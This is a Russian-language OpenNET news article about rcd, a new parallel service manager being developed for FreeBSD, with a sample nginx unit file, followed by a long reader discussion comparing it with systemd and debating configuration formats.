Профиль: Аноним (вход | регистрация) неRU opennet.me  
OpenNET

[ новости /+++ | форум | теги |    ]

Для FreeBSD развивают новый системный менеджер rcd

10.09.2026 10:12 (MSK)

Батист Даруссен (Baptiste Daroussin), член FreeBSD Core Team и автор пакетного менеджера pkg, развивает новый системный менеджер для FreeBSD - rcd. Системный менеджер rcd вызывается init-процессом вместо /etc/rc, читает файлы конфигурации сервисов (/etc/rcd.d/*.ucl), строит дерево зависимостей и запускает сервисы по возможности параллельно друг с другом, после чего отслеживает работу сервисов и при необходимости их перезапускает.

Управление фоновым процессом и операции с сервисами может осуществляться через прямую передачу команд в UNIX-сокет или при помощи утилиты командной строки rctl. Unit-файлы с параметрами сервисов оформляются в формате UCL, который напоминает формат файлов конфигурации nginx и bind с элементами для упрощения автоматизированной обработки, заимствованными из JSON. Предоставляется возможность создания шаблонов типовых unit-файлов и написания встроенных обработчиков на языке Lua. Пример unit-файла для запуска nginx:


   name = "nginx";
   description = "Nginx HTTP Server";
   type = "simple";
   command = "/usr/local/sbin/nginx";
   command_args = "-g 'daemon off;'";
   provides = ["nginx", "http"];
   requires = ["NETWORKING", "sshd"];
   restart {
       policy = "always";
       max_retries = 10;
       delay = 2000;
       backoff = "linear";
   }
   process {
       user = "www";
       group = "www";
       cpuset = "0-3";
   }
   rctl {
       memoryuse = { action = "deny"; amount = "2g"; };
       pcpu = { action = "throttle"; amount = "80"; };
   }

Вместо работы с PID-файлами отслеживание активности запущенных процессов осуществляется с использованием дескрипторов, возвращаемых системным вызовом pdfork(). Имеется поддержка активации сервисов только при обращении к сетевому сокету и возможность защиты важных сервисов от принудительного завершения в случае нехватки памяти в системе. Возможно обновление версии фонового процесса rcd на лету без потери состояния.

Для ограничения доступных сервису ресурсов применяется rctl, а для полной изоляции сервисов поддерживается их запуск в jail-окружениях. Возможна настройка доступа к управляющему UNIX-сокету в привязке к отдельным сервисам. Поддерживается переход в спящий режим.

Системный менеджер полностью обратно совместим с существующей системой последовательного запуска сервисов rc.d и может работать без изменения имеющихся rc.d-скриптов и файлов конфигурации. Достаточно установить rcd на работающую систему и после перезапуска всё продолжит функционировать как раньше, за исключением сокращения времени загрузки за счёт распаралелливания запуска сервисов. Подобная совместимость упростит миграцию систем на rcd и даст возможность постепенно переводить в формат unit-файлов имеющиеся rc.d-скрипты.

Для совместимости с rc.d поддерживается специальный тип unit-ов "legacy". Rcd сканирует содержимое /etc/rc.d/ и /usr/local/etc/rc.d/, разбирает заголовки PROVIDE/REQUIRE/BEFORE/KEYWORD в скриптах, читает настройки rc.conf и определяет состояние запуска скриптов, после чего обрабатывает каждый скрипт как виртуальный legacy unit. В случае использования команды rcctl для управления подобными виртуальными unit-ами, операции транслируются в старый формат, например, выполнение "rcctl reload sshd" приведёт к запуску "/etc/rc.d/sshd reload".

  1. Главная ссылка к новости (https://www.osnews.com/story/1...)
  2. OpenNews: Выпуск системного менеджера systemd 261 и форка liberated-systemd 261
  3. OpenNews: Новые версии сервисного менеджера s6-rc и системы инициализации s6-linux-init
  4. OpenNews: Системный менеджер InitWare, форк systemd, портирован для OpenBSD
  5. OpenNews: Представлен многоплатформенный системный менеджер System XVI, частично совместимый с systemd
  6. OpenNews: Представлен Open Launchd, порт системного менеджера OS X для FreeBSD
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/66245-rcd
Ключевые слова: rcd, freebsd, init
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (445) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, JoePeach (ok), 10:22, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • –34 +/–
    Зачем изобретать systemd, если systemd же есть?
     
     
  • 2.3, Аноним (3), 10:27, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +8 +/–
    NIH синдром неизлечим, но скорее всего хотят по своему все делать, чтобы потом не проталкивать в systemd спорные решения, которые скорее всего отклоняет, ещё и, как принято в Линукс среде, крепким словом 😁
     
     
  • 3.131, Аноним (-), 00:16, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/–
    Линукс не терпит конкурентов.
     
     
  • 4.170, Аноним (-), 10:33, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –3 +/–
    Linux пофиг на конкурентов Там прокладывают свой путь, решая свои проблемы и до... большой текст свёрнут, показать
     
  • 2.7, Аноним (7), 10:38, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +7 +/–
    А это не systemd. Оно не живёт в PID1 и всё, что может сломаться, не несёт туда.

    Это буквально то, что вынесет systemd на линуксах, как pipewire вынес пшшшаудио.

     
     
  • 3.68, Аноним (68), 15:58, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Оно не живёт в PID1

    Инит без pid 1? Хех.

    > и всё, что может сломаться, не несёт туда.

    Прямо как systemd...

    Ох уж эта опеннетная кекспертиза. Вы бы хоть разобрались что да как чтобы предметно хейтить.

     
     
  • 4.427, Аноним (427), 17:07, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    > Инит без pid 1? Хех.

    А это не init. Написано же:

    > Системный менеджер rcd вызывается init-процессом вместо /etc/rc, читает файлы конфигурации сервисов (/etc/rcd.d/*.ucl), строит дерево зависимостей и запускает сервисы по возможности параллельно друг с другом, после чего отслеживает работу сервисов и при необходимости их перезапускает.

    Так что это, скорее, дальнейшее развитие идеи daemon tools, а не systemd.

     
  • 4.442, Аноним (442), 19:11, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    > Инит без pid 1?

    Представь себе, да, есть и такое. Сабж же не системДа, которое всё в одном.

     
  • 3.184, Аноним (184), 11:38, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –2 +/–
    > А это не systemd. Оно не живёт в PID1 и всё, что
    > может сломаться, не несёт туда.
    > Это буквально то, что вынесет systemd на линуксах, как pipewire вынес пшшшаудио.

    В ваших влажных мечтах. Кому в проде надо художества на Lua прямо в системной конфигурации? Разделение на код и ДЕКЛАРАТИВНУЮ конфигурацию это лучшее что sd сделал. А кому сие мало - зовут скрипты через Exec* но это они будут делать только если реально приперло. А в целом проды будут избавлены от свободных художников желающих варить в скрипте кофе (тем более что реально сварить кофе и тем более притащить его в постель у них кишка все равно тонка).

     
  • 2.10, Аноним (10), 10:42, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +12 +/–
    systemd пробит гвоздями к линуксу с его cgroups2 и прочими, а протащить эти фичи в ядро БСД просто так не получится.
     
     
  • 3.118, Ivan_83 (ok), 22:02, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    Дело не в протащить, дело в том что заинтересованных в этом нет.
     
     
  • 4.180, Аноним (180), 11:21, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Потому и нет заинтерисованных, что фиг протащишь. Команда systemd даже linux дистрибьютеров посылает с их идеями и предложениями, freebsd вооще без варинтов.
     
  • 3.189, Аноним (-), 11:45, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > systemd пробит гвоздями к линуксу с его cgroups2 и прочими, а протащить
    > эти фичи в ядро БСД просто так не получится.

    К cgroups2 прибит не только sd но и всякие контейнеры и проч. Хотя если бсд это не надо - то чьи это проблемы? Могут пытаться свои ифейсы для этого продвигать, только их поддерживает примерно - никто. Ну или можно вопить что контейнеры в нормальном виде - не надо :). А то ишь чего придумали, ресурсы контейнерам полисовать!

     
  • 2.21, опеншлёпивпродакшн (?), 11:24, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • –6 +/–
    Если дать 100 людям задание приготовить суп и дать одинаковые ингредиенты, то они все приготовят одинаковый суп?
     
  • 2.34, pfg21 (ok), 12:28, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    чтобы вместо богопротивного виндовского фотмата ini был рассововерный json конечно же !!
     
     
  • 3.53, Гуманоид (?), 14:17, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +5 +/–
    за конфиги на json есть отдельный котел в аду
     
     
  • 4.71, Аноним (71), 16:01, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    только ini :)
     
     
  • 5.90, Аноним (90), 19:45, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    XML
     
     
  • 6.128, Аноним (71), 00:03, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –2 +/–
    я вот одного понять не могу никак, на кой программе которая имеет конфигурационный файл еще и аргументы командной строки? Я могу там понять максимум опция --version, а все остальное зачем когда есть конфигурационный файл?
     
     
  • 7.151, bergentroll (ok), 06:02, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    Удобново. В CI каких-нибудь условных запускать, не создавая конф. Либо через env-переменные.
     
     
  • 8.223, Аноним (223), 15:11, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    А разве не удобно готовить конфиг под разные задачи и тем самым потом не ковырят... текст свёрнут, показать
     
     
  • 9.315, bergentroll (ok), 06:20, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    А если надо несколько раз прогнать с немного разными опциями, то несколько конфи... текст свёрнут, показать
     
     
  • 10.326, Аноним (326), 13:32, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    то есть несколько раз запустить, и что мы делаем пишем заново руками все опции ... текст свёрнут, показать
     
     
  • 11.336, bergentroll (ok), 14:39, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Не является чем-то существенным в современном ПО, тем более реализовано в библио... текст свёрнут, показать
     
  • 7.155, Ivan_83 (ok), 07:28, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Как минимум через комм строку удобнее передевать:
    - путь к конфиг файлу
    - путь к пид файлу
    - флаг чтобы запускать демоном/интерактивно
    - хэлп/usage
     
     
  • 8.190, Аноним (-), 11:48, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Это надо - только в случае кастомных конфигов Если они есть И как там - ваши ч... текст свёрнут, показать
     
     
  • 9.197, Аноним (197), 11:54, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Осильте nix ... текст свёрнут, показать
     
     
  • 10.236, Аноним (-), 15:56, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Дорогой фанат nix, в этом вашем nix что, системды нету Того же tor там может бы... большой текст свёрнут, показать
     
     
  • 11.246, Аноним (197), 16:22, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Вот это Если вам нужно разделить части конфига - то это единственный вариант Е... текст свёрнут, показать
     
     
  • 12.258, Аноним (-), 17:40, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Это какая-то очень нишевая хотелка Я вот честно, не обломаюсь скопировать 5 кон... большой текст свёрнут, показать
     
  • 9.286, Ivan_83 (ok), 22:33, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Не понял о чём речь Пишите понятней Не вижу проблемы, кроме только той, что pi... текст свёрнут, показать
     
     
  • 10.462, Аноним (-), 18:56, 17/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Чтобы понимать о чем речь - нехило бы высовывать нос за пределы вашей кельи иног... большой текст свёрнут, показать
     
  • 8.222, Аноним (223), 15:06, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    конечно, как и --version я еще могу понять прочесть из конфига никак все так же... текст свёрнут, показать
     
     
  • 9.288, Ivan_83 (ok), 22:35, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Прочесть из конфига можно, но это не всегда удобно usage по комм строке естессн... текст свёрнут, показать
     
  • 7.162, Аноним (197), 09:40, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Например, для запуска нескольких экземпляров одновременно.
     
     
  • 8.225, Аноним (223), 15:15, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    и для этого мне нужен аргумент командной строки Даже если нет аргумента конфига... текст свёрнут, показать
     
     
  • 9.239, Аноним (-), 16:05, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ну а как ты иначе раздашь разные конфиги разным инстансам В обязаловку затребуе... большой текст свёрнут, показать
     
     
  • 10.251, Аноним (223), 16:48, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ты тоже нейрослоупок Я же описал как, прочти коментарий внимательно Ну все, яс... текст свёрнут, показать
     
     
  • 11.306, Аноним (-), 00:58, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Довольно похабненько и с своими проблемами В виде колупания конфига чуть не с в... текст свёрнут, показать
     
  • 9.245, Аноним (197), 16:20, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Вы переизобретаете велосипед Как быть с ситуацией, когда программа уже запущена... текст свёрнут, показать
     
     
  • 10.250, Аноним (223), 16:46, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    подробней, где такое поведение реализовано У вас с логикой все в порядке Вы ме... большой текст свёрнут, показать
     
     
  • 11.289, Ivan_83 (ok), 22:38, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Вы предлагаете убить кучу времени програмиста на вот эту всю фигату с конфигом, ... текст свёрнут, показать
     
     
  • 12.301, Аноним (223), 23:27, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    ну а чем это отличается от парсинга аргументов командной строки Или пихающий us... текст свёрнут, показать
     
     
  • 13.332, Ivan_83 (ok), 14:32, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Потому что парсер комм строки - берётся из либы, внутри проги это просто цикл со... большой текст свёрнут, показать
     
     
  • 14.358, Аноним (326), 22:18, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    А какой ад творится когда при ddos-е в лям соединений сделать грейсфулл шатдаун,... текст свёрнут, показать
     
     
  • 15.362, Ivan_83 (ok), 22:36, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Решаемо, но со стороны програмистов не очень то любимо приятно такое решать ... текст свёрнут, показать
     
  • 7.176, User (??), 10:52, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > я вот одного понять не могу никак, на кой программе которая имеет
    > конфигурационный файл еще и аргументы командной строки? Я могу там понять
    > максимум опция --version, а все остальное зачем когда есть конфигурационный файл?

    Ну, у меня вот было требование обеспечения стабильного поведения без сайд-эффектов и возможности модификации в рантайме. А то поменяет кто конфигу, а приложение не перезапустит, или гонки-гоночки если оно за состоянием файла бдит - оно нам надо? Оно нам не надо...

     
     
  • 8.200, Аноним (197), 12:01, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Осильте nix и у решатся проблемы ваши ... текст свёрнут, показать
     
     
  • 9.204, User (??), 12:25, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Сектант, что ли Эта проблема в инфраструктурном слое - не решается ... текст свёрнут, показать
     
     
  • 10.207, Аноним (197), 12:40, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Вам дают решение строго по вашему ТЗ - запретить модификацию конфига без перезап... текст свёрнут, показать
     
     
  • 11.210, User (??), 13:10, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ну, детализируйте мне его - может, я правда чего не понимаю А то совет возьми ... текст свёрнут, показать
     
     
  • 12.219, Аноним (197), 14:19, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Есть декларативная конфигурация на nix После того, как её изменили, запускается... текст свёрнут, показать
     
     
  • 13.224, User (??), 15:13, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ну, т е нельзя взять, поправить рантайм конфигурацию nginx и не перезапустить... текст свёрнут, показать
     
     
  • 14.242, Аноним (197), 16:15, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Совершенно верно, нельзя, поскольку nix смонтирован в как только для чтения ... текст свёрнут, показать
     
     
  • 15.248, User (??), 16:42, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Прикольная идея Не знал, спасибо ... текст свёрнут, показать
     
  • 8.226, Аноним (223), 15:17, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    HUP сигнал вроде существует 100 лет, в чем проблема перечитывать конфиг Да даже... текст свёрнут, показать
     
     
  • 9.229, User (??), 15:30, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Так проблема - если не брать мрии никсоводов - как раз в том и есть, что в жизн... текст свёрнут, показать
     
     
  • 10.235, Аноним (223), 15:55, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    тут просто зависит от уровня продакшена, в нормальных серьезных продакшенах, кон... текст свёрнут, показать
     
     
  • 11.237, User (??), 15:59, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    gt оверквотинг удален Угу Вот я и решил, что забить всю конфигурацию в параме... большой текст свёрнут, показать
     
     
  • 12.253, Аноним (223), 16:52, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    и никаких run sh верим верим ... текст свёрнут, показать
     
     
  • 13.257, User (??), 17:33, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    А чем он тебе в контексте задачи помешал Рантайм-конфигурацию ты видишь, измени... текст свёрнут, показать
     
     
  • 14.261, Аноним (223), 18:07, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    я должен из консоли выдирать строку с опциями потом их распарсить, чтобы понять ... текст свёрнут, показать
     
     
  • 15.272, User (??), 19:43, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ну я - через systemd unit, вы - можете и через run sh - никто ж не возражает А... текст свёрнут, показать
     
     
  • 16.285, Аноним (223), 22:27, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Так вопрос как раз в том, зачем мне нужны эти аргументы командной строки, если я... текст свёрнут, показать
     
     
  • 17.338, User (??), 16:07, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Можете Убедиться в том, что программа исполняется вот именно с этой конфигураци... большой текст свёрнут, показать
     
     
  • 18.359, Аноним (326), 22:26, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Это не задача парсера конфига, это приложение само должно реализовывать Реплики... большой текст свёрнут, показать
     
     
  • 19.363, User (??), 22:43, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Так это по тому, что их нет Хотите - всей Вилларибо пишите кастомную библиот... текст свёрнут, показать
     
     
  • 20.367, Аноним (326), 00:37, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    на все готовое всяк горазд, только вот это плохая тенденция, еще с начал самого ... текст свёрнут, показать
     
  • 21.387, User (??), 06:59, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Не-не-не Улучшать мир устраивая восход солнца вручную - это без меня Мне в... текст свёрнут, показать
     
  • 23.414, User (??), 15:09, 13/09/2026 [ответить]  
  • +/–
    Не, за попирание копытами вселенной лет уже эдак 600 не платят, так что я - с ... текст свёрнут, показать
     
  • 4.75, Аноним (75), 16:29, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > за конфиги на json есть отдельный котел в аду

    А за свой нескучный NIH формат там тоже отдельный котел? Один на всех, или на каждый формат отдельный, лол?

     
     
  • 5.103, User (??), 21:12, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    Есть два стула - на одном конфигурация без комментариев, другой ни с чем и никак не совместим - на какой сам сядешь, на какой bsd посадишь?
     
     
  • 6.193, Аноним (-), 11:51, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Есть два стула - на одном конфигурация без комментариев,

    Это про что? Реестр вашей винды чтоли? А то у Systemd таки можно - коментарии :). Да, без коментов в реестре - тяжко.

    > другой ни с чем и никак не совместим - на какой сам сядешь, на
    > какой bsd посадишь?

    Да вы оба обсидите - и реестр виндовый, и вон то небось. Мазохизм - это как-то так.

     
     
  • 7.202, User (??), 12:13, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    >> Есть два стула - на одном конфигурация без комментариев,
    > Это про что? Реестр вашей винды чтоли? А то у Systemd таки
    > можно - коментарии :). Да, без коментов в реестре - тяжко.

    Ооооу. Про существование json'а вы не в курсе?

     
     
  • 8.231, Аноним (-), 15:43, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Я в курсе про то что JSON - позволяет довольно дохрена всего - включая вложенные... текст свёрнут, показать
     
     
  • 9.234, User (??), 15:53, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Оу Т е про JSON вы первый раз услышали, и еще про парсеры еще не загуглили, да... текст свёрнут, показать
     
     
  • 10.244, Аноним (-), 16:18, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Какой вы умный Только вот я в отличие от вас - умею Писать программы Парс... большой текст свёрнут, показать
     
     
  • 11.249, User (??), 16:45, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Да-да, конечно мы видим, да-да ... текст свёрнут, показать
     
     
  • 12.256, Аноним (-), 17:28, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Очень сомневаюсь что вы когда либо писали парсер XML или JSON Наверное именно п... текст свёрнут, показать
     
     
  • 13.260, User (??), 17:57, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ох, да не закапывай ты себя еще больше-то, употребляя в контексте парсеров json ... текст свёрнут, показать
     
     
  • 14.307, Аноним (-), 01:44, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    У них кое-что общее И то и другое позволяет городить довольно сложные структуры... большой текст свёрнут, показать
     
     
  • 15.342, User (??), 16:17, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Оу А вы точно ну IT шник НАСТОЛЬКО не иметь представление о json е в пос... большой текст свёрнут, показать
     
     
  • 16.416, Аноним (416), 15:33, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Я таки в отличие от вас в курсе как работают процессоры И ничего удобного именн... большой текст свёрнут, показать
     
     
  • 17.418, User (??), 15:50, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Верь мне Я знаю ИНТЕРНЕТ Вот уже до удобства-для-CPU в анализе текстового ... большой текст свёрнут, показать
     
     
  • 18.449, Аноним (-), 00:27, 14/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Не просто - текстового Но еще и с кучей закорючек, которые надо ловить, которые... большой текст свёрнут, показать
     
  • 4.78, Аноним (78), 16:52, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    Но сначала в голову гвоздь забить! Медленно...
     
  • 4.92, Аноним (92), 20:25, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/–
    Выбрал бы конфиги на json, xml, yaml, toml, да хоть ini вместо всего зоопарка несовместимых между собой форматов, которыми так "славится" что бсд, что линукс.
     
     
  • 5.104, User (??), 21:18, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    И у каждого, блджд, свои приколы:
    У json комментарии надо в семантику тащить
    У xml нормального парсера считай что нет + руками редактировать ээээ... Отвратительно.
    Yaml хрупкий и с неочевидными граблями
    У toml нет null/none, что для конфигурации важно (как показать в примере, что параметр _может быть_ но значения по умолчанию у него нет?)
    Ini... О, он нетипизированный by design, вот. И вложенность умеют не только лишь все...
     
     
  • 6.119, Ivan_83 (ok), 22:04, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    А как же LUA в качестве конфигов?
     
     
  • 7.122, User (??), 22:13, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > А как же LUA в качестве конфигов?

    Не-не-не, спасибо, нет. Мне openresty на всю жизнь хватило. Неустранимые проблемы с безопасностью, проблемы со статическим анализом (все ошибки в рантайме, лови драный nil через неделю), попытки выродить по определению декларативную конфигурацию насквозь императивным языком, отсутствие вменяемого тулинга (как провалидировать конфигурацию? Подсветка синтаксис, автодополнение в произвольной системе?)...
    В общем сразу - прямо, и неееемнооожечко направо, да.

     
     
  • 8.130, Ivan_83 (ok), 00:15, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    А откуда у вас nil в статическом конфиге взялся У меня с prosody никаких пробле... текст свёрнут, показать
     
     
  • 9.152, User (??), 06:19, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ээээ А зачем вообще нужен Lua в принципиально статическим конфиге Вот чтобы ... текст свёрнут, показать
     
     
  • 10.156, Ivan_83 (ok), 07:31, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Язык LUA в качестве парсера не сказать чтобы сильно тяжелее некоторых других пар... текст свёрнут, показать
     
     
  • 11.158, User (??), 09:01, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Не, смотри - впихнуть в конфиг lua для динамики можно ну, вопрос безопасности... текст свёрнут, показать
     
  • 11.159, User (??), 09:16, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Причём смотри - если мы нормальные люди, а не курильщики, то мы не впихиваем япв... текст свёрнут, показать
     
     
  • 12.185, Ivan_83 (ok), 11:38, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ну я как бы всё равно не очень понял Читал книжку по LUA и использование LUA дл... текст свёрнут, показать
     
     
  • 13.208, User (??), 12:54, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Блин Ну, тут прям много писать надо Конфигурация в общем-то по определению д... большой текст свёрнут, показать
     
     
  • 14.290, Ivan_83 (ok), 22:45, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Так оно там не рассматривалось как прям динамический конфиг ради динамичности О... текст свёрнут, показать
     
     
  • 15.340, User (??), 16:10, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Уф Как будто экономия на спичках может окупиться только если сама программа на ... большой текст свёрнут, показать
     
  • 13.259, Аноним (-), 17:43, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Читать книги по конфигам м удачи вам А полиморфные вирусы в эти книги ... текст свёрнут, показать
     
     
  • 14.291, Ivan_83 (ok), 22:48, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Нет, можете сами убедится lua-Lua Lua 3rd Edition Jan 2013 ISBN 859037985X... текст свёрнут, показать
     
     
  • 15.308, Аноним (-), 01:45, 12/09/2026 Скрыто ботом-модератором     [к модератору]
  • +/–
     
  • 15.463, Аноним (-), 19:34, 17/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Спасибо, но КМК сами тратьте ваше время на чтение этого всего Особенно - ради н... текст свёрнут, показать
     
  • 11.228, Аноним (223), 15:23, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    Помнится как Сысоев говорил Не программируйте в конфигах , эхххх, ушла эпоха... текст свёрнут, показать
     
     
  • 12.233, Аноним (-), 15:47, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Некоторые так с своими sysv портянками и не выучили урок на тему как они за ли... текст свёрнут, показать
     
     
  • 13.293, Ivan_83 (ok), 22:58, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Так это боль админов девляпсов со стороны эксплуатации, которые вынуждены разбир... текст свёрнут, показать
     
     
  • 14.368, Аноним (-), 00:46, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Это боль всех кто как-то занимается эксплуатацией софта А если ваш софт не для ... большой текст свёрнут, показать
     
  • 12.292, Ivan_83 (ok), 22:53, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Но рынок решил иначе, и nginx во многом взлетел благодаря именно возможности опи... текст свёрнут, показать
     
     
  • 13.302, Аноним (223), 23:36, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    А лить все в index php только потому-что программер не имеет тупо доступа к ngin... текст свёрнут, показать
     
     
  • 14.333, Ivan_83 (ok), 14:34, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Я с таким не сталкивался, попробуйте поспорить с админами девляпсами которым код... текст свёрнут, показать
     
     
  • 15.361, Аноним (326), 22:29, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    не в том возрасте, навидался и суровых сисадминов, и всяких девляпсов, вывод оди... текст свёрнут, показать
     
  • 15.461, Аноним (-), 23:39, 15/09/2026 Скрыто ботом-модератором     [к модератору]
  • +/–
     
  • 13.369, Аноним (-), 00:59, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Нжинкс юзается - как относительно тупой но шустрый фронтэнд, кэш и сервер статик... большой текст свёрнут, показать
     
     
  • 14.385, Ivan_83 (ok), 06:40, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Да, делать что то не совсем примитивное в nginx трудно, так же как в FreeRADIUS ... текст свёрнут, показать
     
     
  • 15.417, Аноним (416), 15:38, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ты не представляешь на что меня развел гуглобот AI довольно забавной идеей И да... большой текст свёрнут, показать
     
  • 9.174, Аноним (197), 10:47, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Элементарно Достаточно требовать наличие параметра, для валидации схемы, с цель... текст свёрнут, показать
     
  • 7.172, Аноним (197), 10:43, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Какую вы проблему собираетесь решить через lua? Гораздо логичнее взять nix, который уже соберётся в нужный формат.
     
     
  • 8.294, Ivan_83 (ok), 23:00, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    1 собственно получить готовый парсер который способен прочитать параметры из фа... текст свёрнут, показать
     
  • 7.196, Аноним (-), 11:54, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    > А как же LUA в качестве конфигов?

    Код как конфигурация? Die-die-die-die. Потому что поддерживать ЭТО - вообще совсем нереально.

     
     
